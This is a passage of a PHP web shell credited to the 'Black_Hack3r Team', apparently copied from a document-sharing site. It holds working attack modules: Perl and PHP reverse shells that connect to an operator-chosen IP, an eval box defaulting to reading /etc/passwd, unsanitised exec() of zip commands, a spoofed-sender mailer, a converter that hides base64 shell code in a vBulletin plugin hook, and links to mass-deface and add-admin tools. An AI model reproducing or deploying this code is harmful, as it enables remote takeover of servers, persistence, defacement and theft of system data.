DQogICAgICAgICAgICAgICAgJHppcC0+YWRkRW1wdHlEaXIoc3RyX3JlcGxhY2UoJHNvdXJjZSAuICcvJyw
gJycsICRmaWxlIC4gJy8nKSk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBlbHNlIGlmIChpc19maW
xlKCRmaWxlKSA9PT0gdHJ1ZSkNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAkemlwLT5hZGRGc
m9tU3RyaW5nKHN0cl9yZXBsYWNlKCRzb3VyY2UgLiAnLycsICcnLCAkZmlsZSksIGZpbGVfZ2V0X2NvbnRl
bnRzKCRmaWxlKSk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgZWxzZSBpZiAoaXN
fZmlsZSgkc291cmNlKSA9PT0gdHJ1ZSkNCiAgICB7DQogICAgICAgICR6aXAtPmFkZEZyb21TdHJpbmcoYm
FzZW5hbWUoJHNvdXJjZSksIGZpbGVfZ2V0X2NvbnRlbnRzKCRzb3VyY2UpKTsNCiAgICB9DQoNCiAgICByZ
XR1cm4gJHppcC0+Y2xvc2UoKTs=');

if(isset($_POST['ziper']) && ($_POST['ziper'] == '>>'))


{
$newfunc = create_function('$source,$destination', $code);

$dirzip = $_POST['dirzip'];
$zipfile = $_POST['zipfile'];
if($newfunc($dirzip, $zipfile)){
echo '<b><span style="color:green">Directory Or File Ziped Successfully !
</span></b><Br>';
}else {echo '<b><span style="color:red">Error!!!...</span></b><Br>';}
}
}
else {
echo '
<center>
<br /><br />
<form action="?action=zipper&dir='.$path.'#down" method="post">
<a name="down"></a>
Dir:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type="text"
name="dirzip" value="'.htmlspecialchars($GLOBALS['path']).'" size="60"/><br
/><br />
Save Dir: <input type="text" name="zipfile" value="ashiyane.zip" size="60"/><br
/><br />
<input type="submit" value=">>" name="ziper" /> <br /><br />
</form></center>
';
if(isset($_POST['ziper']) && ($_POST['ziper'] == '>>'))

{
$dirzip = trim($_POST['dirzip']);
$zipfile = trim($_POST['zipfile']);
if(exec("zip -r $zipfile $dirzip")){
echo '<b><span style="color:green">Directory Or File Ziped Successfully !
</span></b><br>';
}else {echo '<b><span style="color:red">ERROR!!!...</span></b><br>';}
}
}
}

if($action=="fakemail"){

echo '
<center><form action="?action=fakemail&dir='.$path.'#down" method="post">
<a name="down"></a>
<table>
<tr>
<td>
<font color="#FFF"><b>Mail to : </b></font></td><td><input placeholder="Victim"
size="30" type="email" name="mailto" />
</td>
</tr>
<tr>
<td>
<font color="#FFF"><b>From : </b></font></td><td><input type="email" size="30"
placeholder="Hacker@mail.com" name="mailfrom" />
</td>
</tr>
<tr>
<td>
<font color="#FFF"><b>Subject : </b></font></td><td><input type="text" size="30"
value="Your Site Has Been Hacked" name="mailsubject" />
</td>
</tr>
</table><br>
<textarea rows="6" cols="60" name="mailcontent">Hi Admin :)</textarea>
<br><input type="submit" value=">>" name="mailsend" />
</form></center><br><br>';
if(isset($_POST['mailsend']) && ($_POST['mailsend'] == '>>'))
{
$mailto = $_POST['mailto'];
$mailfrom = $_POST['mailfrom'];
$mailsubject = $_POST['mailsubject'];
$mailcontent = $_POST['mailcontent'];
if(@mail($mailto,$mailsubject,$mailcontent,"FROM:$mailfrom"))
{ echo '<center><span style="color:green"><b>Mail successfully Sent!
</b></span></center>'; }
else echo '<center><span style="color:red"><b>Mail Not Sent!</b></span></center>';
}

if($action=="php2xml"){

echo"
<center>
<b><font>Convert PHP To XML For Vbulletin Shell</font></b>
<form action=\"?action=php2xml&dir=$path#down\" method='post'>
<a name=\"down\"></a>
<p><br><textarea rows='12' cols='70' type='text' name='code' placeholder=\"insert
your shell code\"></textarea><br/><br/>
<input type='submit' name='go' value='Convert' />&nbsp;&nbsp;<input type='reset'
value='Clear' name='reset'><br/><br/>
</p>
</form></center>";
if(isset($_POST['go']) && $_POST['go'] == 'Convert' ) {
if ( get_magic_quotes_gpc() ){
$code=stripslashes($_POST['code']);
}
else{
$code=$_POST['code'];
}
$code = 'base64_decode('.$code.')';
$head = '<?xml version="1.0" encoding="ISO-8859-1"?>

<plugins>
<plugin active="1" product="vbulletin">
<title>vBulletin</title>
<hookname>init_startup</hookname>
<phpcode><![CDATA[if (strpos($_SERVER["PHP_SELF"],"subscriptions.php"))
{';
$foot = 'exit;
}]]></phpcode>
</plugin>
</plugins>';
echo"<br/><center><textarea rows='10' name='users' cols='80' style='border: 2px
dashed #1D1D1D; background-color: #000000; color:#C0C0C0'>";
echo $head.'base64_decode(\''.base64_encode($code).'\');'.$foot;
echo '</textarea></center><br>';
}
echo '</center></div>';

}
if($action=="bc"){
echo "<style>#bc{background: #A81F1F}</style>";

$back_connect_p='#!/usr/bin/perl
use Socket;
$iaddr=inet_aton($ARGV[0]) || die("Error: $!\n");
$paddr=sockaddr_in($ARGV[1], $iaddr) || die("Error: $!\n");
$proto=getprotobyname("tcp");
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
connect(SOCKET, $paddr) || die("Error: $!\n");
open(STDIN, ">&SOCKET");
open(STDOUT, ">&SOCKET");
open(STDERR, ">&SOCKET");
system("/bin/sh -i");
close(STDIN);
close(STDOUT);
close(STDERR);
';

echo "<center><h3><span>Back Connect</span></h3>";


echo "<form method=\"post\" action=\"?action=bc&dir=$path#down\">
<input type=\"hidden\" name=\"type\" value=\"perl\">
<span>PERL BACK CONNECT<br></span><br><b>IP: <input type='text' name='server'
value='". $_SERVER['REMOTE_ADDR'] ."'>
Port: <input type='number' name='port' value='443' min='1' max='65535'><input
type=submit name=bc value='>>'></form></b>";

echo "<br><form method=\"post\" action=\"?action=bc&dir=$path#down\">


<input type=\"hidden\" name=\"type\" value=\"php\">
<span>PHP BACK CONNECT<br></span><br><b>IP: <input type='text' name='server'
value='". $_SERVER['REMOTE_ADDR'] ."'>
Port: <input type='number' name='port' value='443' min='1' max='65535'> <input
type=submit name=bc value='>>'></form><br>";

if(isset($_POST['type'])) {
function cf($f,$t) {
$w = @fopen($f,"w") or @function_exists('file_put_contents');
if($w){
@fwrite($w,$t);
@fclose($w);
}
}

if($_POST['type'] == 'perl') {
cf("/tmp/bc.pl",$back_connect_p);
$out = extension("perl /tmp/bc.pl ".$_POST['server']." ".$_POST['port']."
1>/dev/null 2>&1 &");
echo "<span style=\"color:green\"><br>Successfully opened reverse shell to
".htmlspecialchars($_POST['server']).":".htmlspecialchars($_POST['port'])."<br>Conn
ecting...[Perl]</span>";
@unlink("/tmp/bc.pl");
}

if($_POST['type']=='php')
{
@set_time_limit (0);
$ip = htmlspecialchars($_POST['server']);
$port = htmlspecialchars($_POST['port']);
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {
$pid = pcntl_fork();
if ($pid == -1) {
echo "Cant fork!<br>";
exit(1);
}
if ($pid) {
exit(0);
}
if (posix_setsid() == -1) {
echo "<span style=\"color:red\"><br>Error: Can't setsid()</span><br>";
exit(1);
}
$daemon = 1;
} else {
echo "<span style=\"color:red\"><br>WARNING: Failed to daemonise. This is quite
common and not fatal<br></span>";
}
chdir(htmlspecialchars($GLOBALS['path']));
umask(0);
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
echo "$errstr ($errno)";
exit(1);
}
$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w")
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
echo "ERROR: Can't spawn shell<br>";
exit(1);
}
@stream_set_blocking($pipes[0], 0);
@stream_set_blocking($pipes[1], 0);
@stream_set_blocking($pipes[2], 0);
@stream_set_blocking($sock, 0);
echo "<span style=\"color:green\"><br>Successfully opened reverse shell to $ip:
$port [Php]</span><br>";
while (1) {
if (feof($sock)) {
echo "<span style=\"color:red\"><br>ERROR: Shell connection terminated</span><br>";
break;
}
if (feof($pipes[1])) {
echo "<span style=\"color:red\"><br>ERROR: Shell process terminated</span><br>";
break;
}
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets=@stream_select($read_a, $write_a, $error_a, null);
if (in_array($sock, $read_a)) {
if ($debug) echo "SOCK READ<br>";
$input=fread($sock, $chunk_size);
if ($debug) echo "SOCK: $input<br>";
fwrite($pipes[0], $input);
}
if (in_array($pipes[1], $read_a)) {
if ($debug) echo "STDOUT READ<br>";
$input = fread($pipes[1], $chunk_size);
if ($debug) echo "STDOUT: $input<br>";
fwrite($sock, $input);
}
if (in_array($pipes[2], $read_a)) {
if ($debug) echo "STDERR READ<br>";
$input = fread($pipes[2], $chunk_size);
if ($debug) echo "STDERR: $input<br>";
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
echo "</pre>";
}
}

}
if($action=="othertools"){
echo "<style>#othertools{background: #A81F1F}</style>";
?>

<a href="?action=zoneh&dir=<?php echo $path;?>"><input type="button"


value="ZONE-H MASS DEFACE POSTER" onclick=""></a>
<a href="?action=mass&dir=<?php echo $path;?>"><input type="button"
value="MASS DEFACER" onclick=""></a>
<a href="?action=zipper&dir=<?php echo $path;?>"><input type="button"
value="ZIPPER" onclick=""></a>
<a href="?action=fakemail&dir=<?php echo $path;?>"><input type="button"
value="FAKE MAIL" onclick=""></a>
<a href="?action=php2xml&dir=<?php echo $path;?>"><input type="button"
value="PHP TO XML" onclick=""></a>
<a href="?action=disfunc&dir=<?php echo $path;?>"><input type="button"
value="BYPASSER" onclick=""></a>
<a href="?action=pwchanger&dir=<?php echo $path;?>"><input type="button"
value="ADD NEW ADMIN" onclick=""></a>
<a href="?action=cloudflare&dir=<?php echo $path;?>"><input
type="button" value="CLOUD FLARE BYPASSER" onclick=""></a><br><Br>
<a href="?action=info&dir=<?php echo $path;?>"><input type="button"
value="PHP INFO" onclick=""></a>

<?php
}

if($action=="eval"){
echo "<style>#eval{background: #A81F1F}</style>";
?><center>
<span style="font-size:20px;"><b>PHP Eval</b></span>
<a name="down"></a><form action="?action=eval&dir=<?php echo $path;?>#down"
method="post">
<table><tr><td>

<textarea name="eval" style="width:1000px;height:300px;border: 2px solid #CE3F3F;">

<?php
if(isset($_POST['submiteval'])) {
echo eval(magicboom($_POST['eval']));}
else{
echo "echo file_get_contents('/etc/passwd');";
}
?>
</textarea>
</td></tr>
<tr><td>
<input type="submit" value="Run !" name="submiteval" />
</td></tr>

</table></form>
</center>

<?php
}
if($action=="logout"){
?>
<form action="?action=logout" method="post">
<span>Do You Really Want To Logout From Shell?</span>
<input type="submit" value="Yes" name="accept" style="cursor: pointer"/>
<input type="button" value="No" onclick="window.location.href='?
action=explorer'" style="cursor: pointer">
</form>

<?php
if(isset($_POST['accept']) && $_POST['accept'] != "" && $_POST['accept']=="Yes"){
unset($_SESSION[$_SERVER['HTTP_HOST']]);
header("location: ?action=explorer");
}
}
}
//Coded By No-ON ~ Black_Hack3r Team
?>
<div class="clear">
</div>
</div>

</div>
</body>
</html>

Das könnte Ihnen auch gefallen